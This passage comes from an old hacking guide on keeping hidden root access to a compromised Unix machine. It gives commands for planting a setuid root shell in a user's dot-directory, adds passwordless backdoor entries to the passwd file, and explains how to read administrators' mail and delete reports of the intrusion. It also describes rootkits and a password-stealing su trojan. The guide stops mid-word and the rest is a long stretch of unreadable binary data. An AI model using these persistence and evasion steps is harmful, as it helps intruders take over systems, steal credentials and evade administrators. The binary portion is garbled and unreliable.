is an executable file called termrc.  Admin's and users alike are used to seeing this
hidden directory, and never EVER go into it.  if they did what do you think
they would say to an executable file being in there called termrc?  You are right!
Nothing .... it belongs there and it is what they expect to see there.

So lets say we make termrc a little bigger, and add suid perm's ... are you
getting the idea???? I hope you guessed it... go to the /bin directory and
type cp bash (or sh whatever is there) ~username/.term/termrc
then type : chown root ~username/.term/termrc
          : chgrp root ~username/.term/termrc
          : chmod +s ~username/.term/termrc

Now you have a nested file that can get you root on the system any time that
will not be easy for the admin to find.  If you want to get fancy, touch
the file date to make it look like an older file.

Another directory off the user accounts expected to be there and unused would
be .elm, .term or Mail, or try making a directory called '...' this is harder
to notice seeing the first directories that show are . and .., so it can go
un-noticed easy.  This is how it would look if they did a long ls:

1024 Jan 29 21:03 .
1024 Dec 28 00:12 ..
1024 Jan 29 21:03 ...
 509 Mar 02  1996 .bash_history
  22 Feb 20  1996 .forward
 164 May 18  1996 .kermrc
  34 Jun 06  1993 .less
 114 Nov 23  1993 .lessrc
1024 May 18  1996 .term
1024 May 19  1996 public_html

see how it seems to just fit into place?

but if it was just a ls -l, this is what would be seen:

1024 May 19  1996 public_html

Remember you can always look for some REAL LONG file path that you are sure
that no one would ever even want to enter into, and use this for your nested
directory.  You can even make your own directory there like:(...) ;)


Making new commands
--------------------
After you check the cron to see if there is md5 being used there, you might
want to either copy one of your exploits to another filename in the system,
or maybe just overwrite a command that you know would never be used.  If
you copy to a new file name make sure you touch the file date.  This is not
so long lasting because sooner or later they will patch the exploit and your
new file you made will not work anymore.

It is better to use a shell for the new filename, and then make it suid.

Adding or changing passwd entry's
---------------------------------
Another backdoor that you can use is to add a new user to the passwd file.
This needs to be done with caution making it look like it belongs there.
Never use your passwd addition, never login, it is just for a backup in case
you loose access.

There are different thoughts here: you do not have to make it a root account
that could cause notice to it right away.  You know you can have root any time
you want it.  Lets practice ...

We want to make our account look like it belongs, so lets keep to the top of
the file.

root:fVi3YqWnkd4rY:0:0:root:/root:/bin/bash
sysop:mZjb4XjnJT1Ys:582:200:System Operator:/home/sysop:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:65535:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash

Looking at the above passwd file leaves us a few options so i will just list
them here.

1. Look at the user line for operator, ftp, and postmaster.  All of these
accounts have shells with no passwd's set yet.  From your shell just type:

passwd postmaster

Set the account with no passwd by just pressing enter.  Now you will be able
to log into this account any time without a password and the file will still
look right to the admin.

2. add this line to the passwd file:

syst::13:12:system:/var/spool:/bin/bash

Place it in the file where it seems to flow.  You can leave the :: for the
passwd or set the passwd to what you want by typing: passwd syst from the
root shell.  Set the group and id above to what you like.


3. Look at the line above for sync

sync:*:5:0:sync:/sbin:/bin/sync

Change this to :

sync:*:5:0:sync:/sbin:/bin/bash and then run  and leave the passwd
blank.  (or set a passwd don't matter) On this account we are even gid=0 rin

Installing games
----------------

You could always install exploitable doom or abuse into the system if they
already have games installed.  I will include the root exploits for these
games below in the appendix.

Always be watching
------------------

Always know who the admin's are on a system, you can find them by looking at
the passwd file to see home directories, placement of the uid, group access
accounts, and ALWAYS read all of the bash_history files in the user directories
to see who is using admin commands.  You will also learn allot of new commands
from reading history files, but you want to know who is who on the system.
Get to know your system well. Look for users using su:  View the log files
to see who is using admin commands.

Always be watching the system, keep track of who is on while you are.  Watch
the admin's history to see what commands they are using, ttysnoops? too many
ps commands?  finger commands after ps or w or who commands will show they
are watching what other users on the system are doing.  Watch your admin's
and get to know how aware they are of users on their system.

Reading system mail

Rember first NEVER to use system mail programs!  They will be able to tell you
are reading their mail.  I use a combo of a few things.  Here you go...

1. cd /var/spool/mail

This will put you into the directory that holds all of the unread mail, or
waiting mail.  Now you can do things like:

grep -i security * |more
grep -i hack * |more
grep -i intruder * |more
grep -i passwd * |more
grep -i password * |more

Then if needed pico username, and ctrl w to search for your maeesge.  You
can also delete messages if you see some other admin is telling them that
your user name is hacking their machine from their domain.

For a mail reader that will allow toy to read mail without updating pointers
try:

http://obsidian.cse.fau.edu/~fc
has a util on it that can cat /var/spool/mail files without changing the
last read dates.. ie they have no idea that you have read their mail.

Also remember you can find other system mail in user's directories.  Make sure
to look in the /root directory.  Look for /root/mail or username/mail or other
directories or filders that contain older mail.

Happy Hunting ...

--------------------------------
Section 7B
Root and Demon kits and trojans
--------------------------------

Root kits are C source for ps, login, netstat and sometimes some other
programs that have been hacked for you.  With these kits you will be
able to replace the login files on the hacked box so that you can login
without an account on the machine.

You will also be able to patch ps so that you will not show up when an
admin uses the ps command.  With the ps patch you can also have it not show
processes that have certain file names such as any file that starts with
'sniff'.

Demon kits will have hacked programs for identd, login demon, ping, su,
telnetd, and, socket.

Trojans will be any file that you can use that will allow you to exploit
the system in some way.  An su trojan placed in the admin's directory would
run the trojan su first after you change the export path for him ;) and report
back that he typed the wrong passwd and delete the trojan file, but saving
the password he typed to the /tmp directory.

A login trojan would save all login passwords to a file on the machine
for you.  I think you get the idea ;)

Demon and Linux root kits have been uuencoded and attached to the end of
appendix VI

******************************************
* Appendix I - Things to do after access *
******************************************


I think in this paper we have covered most of the things  you can do after
access, so I will make this in the style of a checklist from a to z.

a. learn who the admin's are on the system
b. watch the system with ps -auxe and ps -auxef (if it works) and pstree to
   try and keep track of what others are doing
c. read all of the bash history files or any history files you can find on the
   machine to learn more yourself, and to learn about the users
d. make as many backdoor's into the system as you can that you are sure will
   not be found out
e. keep the access to yourself, don't givvPu
jV}vvtihh;<tX~t_^f]Mt0jjVFvvRPjjvvFh@]MEU؋FFuj@VFt hFBJ<_BJ<.tBJ<VBJ<BJ<RBJ<BJ<$TBJ<=.-BJ<f.
PBJ<.
rBJ<BJ<BJ<icU	<.BJ<..dBJ<	(u.dWBJ<JN6.dBJ<u(.7BJ<(y.7ZFBJ<((BJ<BJ<r	F(BJ<.BJ<BJ<BJ<NBJ<.WCBJ<1.BJ<	.sBJ<.t	j.O.,=.,(BJ<BJ<BJ<,.BJ<8BJ<ceBJ<(.7BJ<.BJ<EUWFFuh^VFuf^&G&_7F&]VF
&W9&G7&]t$&_7&w2&w0F;vPv&_
u^&G&G&G&G&G
&G&G&G&GY&GW&G[&G,&G*&G(&G&&G2&G3&G4&G.&G1&G0&WU&GS&Wc&GaVF&WE&GC&LJE&LJI&LJG&G&G&LJU&ƇW&G5&ƇX&LJ[&LJY&G6&LJO&LJS&LJQ~e3&LJM&LJKVF_]MEU^VF
&M&KvS&&vv^&&]MEUVv
FFu^&G&_7&]tvvSr4=u*^&_7&G &G"tT^&wI&wG&_7&_ 
t=;vvG4^&W=&G;&_?&W&^&WA&G?&_;&W&Gtvv^]MEUF;vPhh^&_7&_vv3==VFF;vPFP^&_7&_jvv^&&vv^&&MEU^F
&+UP&G+X™&&E@ȁ~]MEU^F
&&G&I]MEUVvF
V^؃eV^3^&GFA;|^MEUvvvvvv
vv^&&_]MEUJVWvVF;VFFFF^&GV&+GꙉVԉF&G^ԋN+ډ^̉NʋV̋FʉVF^&GvvvvvS^&_7&_(
uh^&t&W
&GVF&GFh^&_7&^&W
&G&GvvvvvS^&_7&_(^&uvvvv^&&^&G%FF~tFFNtFFFָȁv^&W9&G7^k
VF^&W
&GVF^&6t^3^&GF&O@ȃFG^&9&G&W
&GVF&GHF^&G&G HF܉v*^&W
&GVF3Fv^&G&G HF^&6t
^&u3F^&6t}S^&wF;F}!A^&95^&GF;v~#^&6t;vF;F|3u^D&9G~&GT+3FF+@;F}F+@FF^F&+G^&o&UVȉF&U;V|;Fv^&UVȉF^&GH;u	^&G^F@&+G^&o&UVЉF^&9w~F&9GF&+GF&w~u^&?u^&W9&G7uVFj-^&W9&G7^k
VF^&?u3Pjvvvv
vv^&&_HVȋF;Vu;Fu^&w,&w*FPvv
vS&&__VȋF;Vu;Fu^&?u^&W9&G7hVFjj4^&W9&G7RP^&tk
ZЁ¥XFVjjvvvv
vv^&&_H^&w,&w*FPvv
vS&&_^&?uR^&W9&G7hVFjjRPvv
vS&&_H^&W9&G7^&_k
VFZ^&?u^&W9&G7u^&W9&G7^&_k
VFjjRPvv
vv^&&_H^&GPvvvv
vv^&&_@~u^&G @;F~F^&G @F^&+G^&o&UVF~uXVFVFVF&Gn֙FVVF&GFVVĉF&w,&w*FPvv
vS&&_vv^&H&wPFPvv
vv^&&_^&6tDFރnOF@FG^&UuFFV̋FʉVF&UVFVԋF҉VĉF&W9&G7RP^&tk
ZЁ¥XFVjjPRvv
vv^&&_Hv^&w,&w*FPvv
vS&&_"^&XuF&_G&G8@^&+G^&o&UPF֙+X+™VFVFVFF֙FVVF&GFVVĉF&G;V|B;Fv;^&U;V-|;Fs&^&[&YFPvv
vS&&_FFt.^&w
&w^&_7&_^VF&W
&GF&G_^MEU^&G&+U&+}3^&G&+U&PZ+^&G&E&;G}^&G^&E&GRPjjvS&&_P^&ERPvS&&_L]MEU~}	~wVFVFVF
)vvvvVFVFVFVFVFFFuvvvvVFvvjjvvVFjjvv
VF
~u~wȋF
Fu
FF
^VF&W&^VF
&W&MEUFPFPvvvv
vvN^3ҸRPMEU^&W_&G]&_G&;Wu&;u5^&_G&W&|s33^&_G&W&^&W &G&I&G&;W |&;Gs^&I&G^&W &G^&I&G&W &GVF&I&GVF~|,~v#vvvvVFFF~|~vVF3ҸRPjjvv^&&_Xvvvv^&&_T^&_G&W&^&W_&G]MEUF&^&t&^&t&^&t&^&t&^&t&^&t& ~t&@V^&&V^&&F&&vvRh^F~t&^&^&~tFFMEUvvvvvvvv
vvj]MEUV^
&&vvPh^]MEUvv
FPvv&FFPvv3&F;vP^&_7&w&wFMEU~up~
t<^&1u&0tvSo^&G0vv^&&]M^&1u$vS%
t^&G0vS"]MEUF
^&W&GF&W
&G&G&G&W&W&G&G&G&W
&W&G]MEU^&ul&ub^F
&GF&G&G&G&W&W&G&G&G&W
&W&G&GK&+GQ&G"&GM&+GS&G$vS&&vv^&&vv^&&_ 
t^&w$&w"vS&&_<^&I&G&WU&GS&G&@&WY&GW&E@&GQ&G&+U&@&G[&G]&G_tj&WU&GS&;W_!u&;G]w^&Wc&Ga&;W_|C&;G]v;^&W_&G]&I&G&W_&G]&WU&GS&WU&GS&Wc&Ga]MEUVF
؃wL.@B=^&G&+U&؋&^&G&+U&^F&+E3^&G&+E;~^&G&+E^&E;}	&E ^&G&+E;~^&G&+EtF^&E&wQ&ERPvS&&_L^&wWjvS:jvv^&&^]MWR\sEUVF
؃v`.^&I&G؃VFF^&W &G&+G&IVF(FFFF^&Gؙ&=~^&Gؙ&VF^&G&=}^&G&VF^& }&vvFPFPjh^&w &w;vvN^VFRPVF^&+G&IVF~|=~v5~/|#~s'^VF&+G&IVF
FF^&W &G&+G&I;V|;FvVF^&W &G&+G&I^&I&Gۃ;|;s^&I&G؃>^&W &G&+G&I;V|;FvVF^&W &G&+G&IVFFu6FVF~|~sVF؃VF^&WY&GW;Vu;Fw^&wWjvS,3^؋F&GeFƙ^&;WY|u&;GWr^VF&G&I&GS&WU&WU&GS&Wc&Ga&W &GVF&I&GVF~|"~vvvvvVFFRPvv^&&_T~|~vPvv^&&^MhEUVvv^&&_ 
ukvvv^&&VFv
vv^&&_^&I&G&GW&WY;V};Fw^&E&G[;V^&&&6F;vPhh^&_7&_jvv^&&vv^&&vv^&&_8^&G.F;vP&_7&w&wF^&G5~u>&_G&W&;V|Lu;FrEF;vPhh^&_7&_^&G5^MˋF;vP^&_7&w&w^MEU^&.u&5tmF;vPhh&_7&_F;vP^&_7&w&w
u^&_G&Ojvv^&&vv^&&
vv^&&_0^&G.&G5]MEUvvv^&&VFv
vv^&&_F^&I&G&GW&WY;V};Fw^&_G&W&;V|lu;Fre^&E&G[;F~TF;vP&WtRP^&_7&_jvv^&&vv^&&
MEUVW^&.uFPvS&&_vvv^&&VF^&5u:&_G&W&;V|*u;Fr#F;vPhh!^&_7&_^&G5FFPvv^&&_^F&+UF&G+~}؋^FǙ&&E@vvS&&VF~}u~r|^&I&G&GW&WY;VCu;Fw^&_7&_jvv^&&uNF&R&PF&V&TF;vPRhL^&_7&_~u
tF;vP^&G75&w9PFP&_7&w&wvvj
uF&`&^^&W9&G7;&d&bF&l&j^&W9&G7;&p&nF&v&tF&z&x^&_7&;t#F;vPhhh^&_7&_~uF;vPhh\^&_7&_FFPvvF;vPhh~^&_7&_jvv^&&F^MEUVvvv^&&VFv
vv^&&_^&I&G&GW&WY;V};Fvx^&E&G[;~hV^&&&6F;vPhh^&_7&_F;vPhh^&_7&_jvv^&&^MEUW^&]t&wI&wG&_7&_ F;vPF
;vP
VF
;^&W=&G;^
&WA&G?^&WA&G?VF;&_?&W&F;^
&WA&G?^F&WE&GC&G_&G]&WU&GS&Wc&Ga~e&GWWP3Y_F&]tvS_]MEUVWF;vP^&_7&w&w
tv~
3NF;vP^&_7&w&wvv
FHjPVF
VF^&?
t&?
u^&_^MF^&?u_^MˍFPFKvPF&&^&_G&W&GVF&OF;vPhh^&_7&_F;vPhh^&_7&_F;vPhh^&_7&_vvv^
u8F;vPhh^&_7&_F;vPhh^&_7&_2^&KuF;vPhh^&_7&_^&Kt23^
F
F&F;Fs2F;vPhh^&_7&_uvvv^
u^
&^F&GKF&GMF&GO&_GVF&W&G_^MEUF;vPhh^&_7&_jvv^&&]MEUV^
&&FH&F;vPRh^&_7&_]MEUV^
&&V&F;vPhh^&_7&_]MEUF;vP^&_7&w&wvv
vv^&&]MEURVW^&W
&GVFRP^&&_VFvv^&&_ F^&W$&G"&_&;Wu&;u^&_&W&|s33^&_&W&^&W &G&I&G&;W |D&;Gv<^&W &G&I&G^&G,^&I&G^&W(&G&^&W &GVF&I&GVF~|,~v#vvvvVFFF~|~vVF3ҸRPjjvv^&&_Xvvvv^&&_T^&_&W&^&;W$}	&;G"w^&W(&G&&G&WVF&W$&G"VFX^&W(&G&;V.u;Fw'VF;V|;Fs^F&+G&&G,VF;V|u';Fs"FV^&_&W&;Vu;Fw^&_&W&^&W$&G"F
~tvv^&&_(^v&I&G&9Wu	&9Gu{^&W&G^&I&G+щVF^&W &G&+G&I;V|;FvVF^&W &G&+G&I^&I&Gۃ;|;s^&I&G؃>^&W &G&+G&I;V|;FvVF^&W &G&+G&IVFFu^F&G&I&W &GVF&I&GVF~|"~vvvvvVFvvvv^&&_T~|~sVF؃VFVF^&W&G;Vu;Fw^&wj3^&G*+F&G*A^&;W|u&;Grփ~A|~s9^&G+FPF*vPFVЃ*vR
vjC^&G+FPFVЃ*vRF*vP
F@P^&G+FHPvv׃^VF&G&&W(F
^v&E@&9GuXF&G^&EB+™VF&G&+E;V|;FvVF
^&G&+E^P&ER[;Z|;s
^&Eؙ.^&G&+E;V|;FvVF
^&G&+EVFFu^&EF&E&UV؉F&GVFFF&GVFjj&GPRVFY[؃RPjjFPvvvv^&&_,^&ERPvS&&_L^&wjvvCփF
^&GV؃&V^F&?uH&7&FF^&GVF&GVF&GV܉FڋVFVF^&G)FV^&nF*;Fw^&97t}ƙ^&;W|u&;Gr
^&w^&GRPjjFPFPvvvS&&_,vvv^&&VFvvv^&&VF^&W(&G&;Vu;FwF+F@P^F&+G&P^&GHPjvvԃF
FFFFFFFdvvFPj^&_7&_$^&W9&G7[VF&G(&G&&G,&G*jjRPvvvS&&_H^&G2&G3&G4vvvvS&&_
^&W(&G&VFVF*VFG^&?u&t+^&wvvFPvvvv^&&_DFVF^&W(&G&&G&W&;W$|&;G"v
^&W$&G"^&W(&G&&G&W;V~d|;FrZ~
uo^&W&G&G&W&;W$}S	&;G"wHFF^&GVF^&G"&+G@^&oVF&GVF&W9&G7RP~tk
ZЁ¥XFVjjPRvvvv^&&_H^&w,&w*FPvvvS&&_^&Xu^&_&G8@^&+G^&o&UPƙ+X+™VFƙFVVF&G;V|B;Fv;^&U;V-|;Fs&^&[&YFPvvvS&&_^&W&G&W(&G&~*&GWP3Y_F&G&+G^&G"^&G&+G^&G$~t&w$&w"vS&&_<vvvv^&&_4_^MEUVF;VFVF^&G&G
tv
vSG^&W&GVFV;Vu;FuMEU]MEU^&_G&Gt]MEU^&_7&4u^&_G&g]MEU^&_G&g]MEU^&_G&O]MEU^&_G&Gt]MEU^&]t'vSj
tvvc=u]M˰]MEUVW^&_G&W&G%VF^&_7&tN^&_7&tN^&_7&tN^&_7&tN^&_7&tN@^&_7&tN^&_7&tN^&_7&tN^&_7&tN^&_7&tN ^&_7&tN^&_7&tN^&_GVF&W&G^&G7&w9P&_7&_&&F;vPSh^&_7&_^&W9&G7=VFF3Fz^&P^&_7&_,
t(~t[vv^&_7&_;~~&~FF9^&P^&_7&_
tF^&_7&Ƈ=3vv^
F^&?tzu=DP^&_7&VF^&W9&G7=VFu7^&F^&P^&_7&_
uvv^&_7&_^&73F^^&P^&_7&_,
t+~t?vv^&_7&_^&GGF^&P^&_7&_
tFF^&?u^&G&+^&GV^&&F;vPhh^&_7&_vv^&_7&__^M˰_^MEU^&_G&G:]MEU^&_G&O:]MEUF;vP^&_7&_0&w&w
]MEUF;vP^&G75&w9Pvv
&_7&w&wvvE]MEUF;vPvv
^&_7&w&wG]MEUF;vP^&_7&w&w]MEU^&_G&G:]MEU33]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]MEU]M˂>{N/_7,/_7>>>>>}>g>Q>'>

@.

0q>>kd@^>>>0>Z0$>0J>a>>>>>>`>K>:>%>WP>>#0x#0w"W=">"">!>_!>-!>
!> > > > >{ >i&02&>	&>%>%>%>-%>$>$>$>}$>b$>G$>$>	$W{+yB+y.>.>,@D6>%6>[4>60F708/88/
8/7/7/n7/a27/	27/87/!7/7/
7/b7/7/J7/:7/7/87/87/7/87/7/87/87/87/87/y87/7/r87/k87/d87/]87/V87/O87/H87/?87/68{7/w7//8s7/(8o7/!8k7/8g7/8c7/_7/=EUF&&vv
Rh^FMEU^&W&VF3Fu3M
^F&^F&
tA;N|N^&?t^VF&W&^&G&M
EUVFVF&&F&&vvRh^
MEUNVFVF^&&W&W&M
EUFF&&&F&&vv
Rh^VFMEUVWVFVF^&&GtbF&;W|&;v	^&F^&V
vNFF&)&W&W&GF&W&GF_^M
3_^M
EUVFVFVF
VF&&&
F&&	vvRh^MEU==VFvv
FP^MEU==VFvv
FP^MEU=Fvv
FP^MEU=F=F=Fvv
FP^MEU=F=F=Fvv
FP^MEU&&vv
Ph^]MEUF&(&&vv
Rh$^FMEUF&3&1vv
Rh,^FMEUV&9vvPh7^]M
EUF&@&>vv
Rh<^FMEUvv
hhD^]MEUFFuhoVFujjvv
vv^&G&VF&c&a&G,&G*&G(&G&&Ƈ^&Ƈm&Ƈn&Ƈe&Ƈf&Ƈg&Ƈh&Ƈi&Ƈj&Ƈk&Ƈl&>uh=&VF]MEUVW3&PF&9>Pt&6P4۸&9Pt#ێ&P;Ft۸&PF|_^MEUVW~vvWPFWvv
@u!^
&GtWvVF_^Mˋ_^MEUlVW&>Pt7hhpv
vu&;Fu&:FucFFFFFF̐FFFFFFFFF1~F
W~3+V
v_FPF~ujFHpF
PW~3+V
v_V&V&vvFvFP@u	FteF%@&V&PV&º&FF&&FFċFFFFF̐FFFFFFFFF1FFPFPvv&XFF̼FPFPvv&RFFPFPvv[&ZFF̐F̼FFPFPvv)&VFFPFPvv&^FFF̐F̐FFPFPvv&TFFPFPvv&\Fv^۸&PvFP&>uavhh3IQ+F3I3;Ft3I3FN^۸ю&‹^ۺ&`&9~&&VV&9~&FF&^ۍF؋FF6F~}FE^۸&&+`^ێ&`^ێ&`}^ێ&LJ`F~|FFFFFmFk
^&?tFk
^&tF+Fk
^&?tFFk
^&tFFk
^&tFF~%|~u3&&&&&FFFFF~u!&&&FFF~u!&&&FFF~u!&&&FFF&&F{^۸&&;}&^۸&&^ۍF6&;}&
^ۍF6&F~}|FE^۸&&+^ێ&^ێ&}^ێ&LJF~|vv_^MEUVWvF
V	ŠV‹V۸&PF۸&`&V&6F_^MEU&^&W&&F&W&G]MEU~
t!^&&GF&^&&GF&&G^&w&wvS&&^&&G6]MEUvvPvv^&&]MEU^VF
&M&KvvS&&]MEUVv
FFt0^&G&jvStvv^]MEUV^&KjFVP^&_ƌ^MEUv
&6P~t&3&v
&6]MEUVWv~t)^&F&GF^&GFF&GFFv
~tP^&?^&6u&>u^&F&GF^&KFPFupev
W^&w~t3P~tҍF33RPvvjjjF&>N&FFtu	u_^Mv
W^&w~t3P~tҍF33RPvvVjj_^MEUFP^&KFPF^
&W&F&W&GMEUVFVFVFFP^&F&GF&GF&GFv
FPVV^MEU^&;Ku3]MEUFP^&KhhjtM˰MEU^&K]MEUFFt)^&F&GF&GF&GFFVF
FFFFt)^&F&GF&GF&GFFVF
FFv
vvvvjjjvvFFt2F^&W&F&W&GF&W
&GF&W&GMEU]MEUv
^&_^&Kv
]MEU^&K]MEUVW^&K&MuEF&&F;vPRhF&_7&_^&_G&GtF^&eF^&iF^&GFF3F؃v.^&G@F^&GFؙ+FN^&G@^&G^&G+Ƌ^&G^&w^&KjvV^&UP&Gn
ZVR&GnP^&K_^M˹/EUV~u^&G2^&:u#^&G3^&:Gu^&G4^&:GuF2vPvv^&G4&W3&W2‹v
۸&P۸&&v
&6#v
&6P&v
j^]MEU^&t~tjj^&W&GVF^&t~tj
j^&W	&GVF~t$VFVFVFVFVFVF^&W(&G&;Vu;Ftv
^VF&W(&G&RP^&W,&G*;Vu;Ftv
^VF&W,&G*RPMEU^&K&Mt0^&;Ku!&^u&mt&Kjv
j]MEU^&K&Mt3^&;Ku$&^u&mt&Kjv
vj]MEU^&K&Mt!&^u&nt&Kjv
j]MEU^&K&Mt$&^u&nt&Kjv
vj]MEUVWju5^&Ku!jFPVF~3IFNvvFVVF~vr	~rjBvvFPVF~FW~3+Vv_vFFvPvv^F^&Gv^&Kjvvvv^&&_^MEUVWvvVF~vr	~r^&KujBvvPVFRPvv^F^&GVjVjBjjPVFvv^&W&6Wvv^&&_^MEU
VWju^&KujPVFvvF^&_G&Gu&Gtvv&6t_&6PVF^&PvvvvvvvvvW5jvvvvvvvvvV_^MEU^
w>.FFF
FFjvvvv^&&_t
MEU^
wJ.F"FFFF
FFjvvvv^&&_x
MSMY_eeAGEUV^&K&Mtp&w$&w"vS&&_<F^&mt&nt3^&ntF^&Ƈ^&KVFP^&Ƈ^^MEUV^&K&MtN^&mt&nu3^&nt^&Ƈ^&KVj^&Ƈ^^]MEUVW^
&^&:t^&W9&G7^
&_k
VF^&t^
&?uj
j^&W	&GVF^&W9&G7^&_k
VF^&t^&?uj
j^&W	&GVF^&u,^&G^&:GtVF;Vt;FtVv~D2&M2+tVF;Vu~;Fuy^&t^
&?ujj^&W&GVF^&t^&?ujj^&W&GVFVF;Vu;Fu_^M˰_^MEUVW^
&u&W
&GVFVF&G&GVF|vvvvvv
tO^&G^&GjjF3+FRPVv~^
&OnVFVFFF;Fwy_^MEUF;vP^&_7&_0&w&w
]MEUF;vP^&_7&w&w]MEUF;vP^&_7&w&wvv
hj}]MEUF;vP^&_7&_0&w&w
]MEUF;vP^&_7&_0&w&w
v
]MVWVW!_^_^ˋ=u>=(|j===k=EUVk==]M==hjhEUvv
vvFvPFvPFvP]MEUvvvv
F
vPF
vPF
vP]MEUVvv
FPFPFPFPFPFPjjvvFPFPFPFPMEUVFVFRPFN^&?\uF^&MEUV~tGF
Pvvk=tkV
FčVtjv
v^]MEUVtFFPvjk=tkVFčVj	vv^]MEUVVtyvvFPVЎ3ɴZFVFVFsVj
vv3FPvvkFkVFč3^MEUVvkVP^]MEUFPv]MEUvv`Pvv
FP`PFPtjvv
3MEUVvkjjjVFrurVFjkč33^MEUVv
kvvj|urj
kč3^]MEUVvkjjjVF|vVFjkč^MEUVW~VF
VFVFVFq3;Fr
w;vvvkFPv
V;tjkč337uVF+FV%)^^3^FFFuVF_^M
EUVW~VF
VFVFVFw3;Fr
w;vvvkFPvV;tjkčujkč3")^^3^FFFu_^M
EUVvVvv
vv;Vu
;Fujkč3^]M
EUVvVvvtVvv
vv3^]MEUVvVvvvtVvv
vv3^]MEUVFVF{vvv
VF;Vwr;FsVFVFRPVFFtLvvv
vvD>0>u2VF;Vrw;Fv	jVF)FVFFtzVF+FVMEUVvVF~rw~v
FFvVFVv
vvRPvv;Vu;FuFFtvv)jkčFFtvv3^MEUVWv~VvvtWvv
tVWvv&3_^]MEUVFVFVF~rw~v
FFvVFVF;Vwr;FsVFVFVFVFVF^F
&FFVn^u\VF;Vwr;FsVFVFVFvvvRPGuFFtvv3*VF)FVFFuFFtvvMEUVvVvvtVv
vv3^]M@>>>U>/>&>:>,0p%0>K>=060->>0-0>>>>P>P>PU>PL>P=>P.>P!>P>P]->P>P>PWw9>P>P>P>PE-]v-m9KEA>P!>PE>P>P>P>PO0A/>P>P>P>P>P>P>P>Px>Pl>PT>PK>P->P$>P>P
>P
>P
>P	>P	>P	>P	>P	>P{	>Pq	>P^	>P:	>P	>P	[>P>P>P]->P>P>PY>P5>P_>P_>	>P>P>Py>Pn-d>PH->W5BN/
0
0y
>PM
>P;
>P,
>P
>P>P>P>P>P>P->Pg->P>PWxkE;>PD-mEQ_2
0-viP0R;610-{gT@>@>oT$	cR>PM-C>P4>P(>P>P->Pw70/E&0{0j/E&V0>6,>P#>P/60w>Prc0RJ?7 0R
10
05/
{/w/s/no/a2k/	2g0
c/!_/[/
W/bS/O/JK/:G/C0?0;/70[30
/0!+0'0#0[0k/000000000/0@000\0$//=#2rb#-^:#2r#-^"2r"",8",8"-u"-4",R""2r!,8!2r!-2c!2r,!-s   ,i m 5  4
2\5'1K"'2r	'1K&1`&1\o&2\%2r0%q%2r$2r$-{$qO$2r5$-J#2r#-^(1Kc(1K'1`'1\EUҖЖVF^&W&;Vu;Fu&G&^F&u&?u3MEUjBjh@PҖЖҖu	jJЖ&LJ?&LJ?ҖЖ֖ԖVF^&G&F^&u&?uMEUҖЖVF^&&Gt
&w&7F^&u&?u6Җ6ЖMUԖ&u&?tFnVF~
|P~vHF
FVF)n@^~u~w^&G&33MEUvv]MEUVFVFVF
VFVF؉VF+^&^&3FF3FFFVn^uFt^&^&MEUVFFVVFVFF
VVFVFVF+3nF3nF^&^&FVn^uFtNN^&^&MEUVVt|VFVFV
FVFFtG^&^&3FFFN$^&^&3FFFst^&^&^M
EUVFVF3FF^&?uVF^+FMEU
VF
VFVFVF(^&?t@3FF3FF^&^P&Z+ЉVtFMEU
VF
VFVFVF^&?t5F3FF^&^P&Z+ЉVt‹FMEUV3VF
FVv^&3FVVFNu^&?u
j33:3FF~v^F3FF&?uVF^MEU3V
FFVIvv3VFPRu	^&G.^&3FVVF^&?uj3MEU3VFFV^&G%V
;uS3VFFVPR3Fڹ^vvvvu	^&G1^&3FVVF^&?tpj3M
EUV^&W&VF^&?u93FF3VF^&G&^F&
HvvFV3۹ȃRQXZv&\&vv
vv^MEUV^&W&VF^&?u93FF3VF^&G&^F&
KvvFV3۹ȃRQXZv&\&vvvvv^M
EUVW^&?u2&u+VF^&W&^&W
&G^
&W&VFVF^&W&VFFt^&F^&?kFPVF~sFt	Rvj^VF&W&^&&G&G&G&G0&G
&GE	;Frv~VFVFF^&?uD3FF^v&&G3FF;~rG^&FVFVF;~s-G^F3FF&^F&
t;~rӡ==t.=6=Pvvu=&G^&G^=&G=^&?uD3FF^v&&G3FF;~rG^&F==t=&G^&;Gt
==ؖؖF2ؖ>ؖuؖؖ;Fuj^&w&7-vvvv6ؖt^ؖ&Gؖ;~s-G^F3FF&^F&
t;~r;~rF+F^&^F3&+&&W
&GVF==^F&^&?^VF&W&3FF^&W&^
&W&j^&w&723_^MEUV=@3;6=sAiC=6=Rt'iC=6=RvvtF;6=r>0>u3^]MEUuFPt|FPotoFPtW>=rFPtBFPt4t+= u$h|thh|t=FPMEU
VW>u,+.,6420&G$VF^&FFVFVF&G
t^&3ҊN.,++,.206493^&G@t&9?r&?t~^&97st&7tlƊN.,++,.20NJN64&G:&O23ҋ64+$&+Ӊ:8FB^&9WvWVFVF^&?t:u%+.,20oƊN.,++,.20&G8&G:&O264:8_^MEUVvVjjhŽjj@u>ŽMZu	u
jh5>@wt
R6jV6666jj@u&?NEt
j&G$&;G&t&G><t	j#a&G&W.&G,
V@6P&G-@jPt(VV-RPFPjju3)~NBu~02uVF&G&&+G$&G 3&G,&W." &2v&G2&O23Ҹ "-&O2PR3Ҹ-[Y##ډ&$.,+$&+8:*(<" @>20LJ:8XV&$DB*(HF^MEUV^&w&W&VF^&u^&w&7v
vt^&W&VF^F3FF&?u3FF^F3FF&?u^F3FF&?u^&%V;u3NFt<^M
EUVW^&wNPH3҉TRLJXV<u&2v&G2N;vu<^&W&VFFF^&uFFt^&w&7vvt@^&W&VF<^&?u"&u&u&u
VFdb<h^hZh\^&w&7FPFPvvu3G=u	^&@uE3ҸNFV-PR3ҸN-[Y##JL3ҸFV-PR3Ҹ-[Y##ډ^NVF+FVwOr=sHFV3ҸFV-PR3Ҹ-[Y##ډ^NuFV~wr~s~wr~sVFVX^&'NFt_^MEU=u
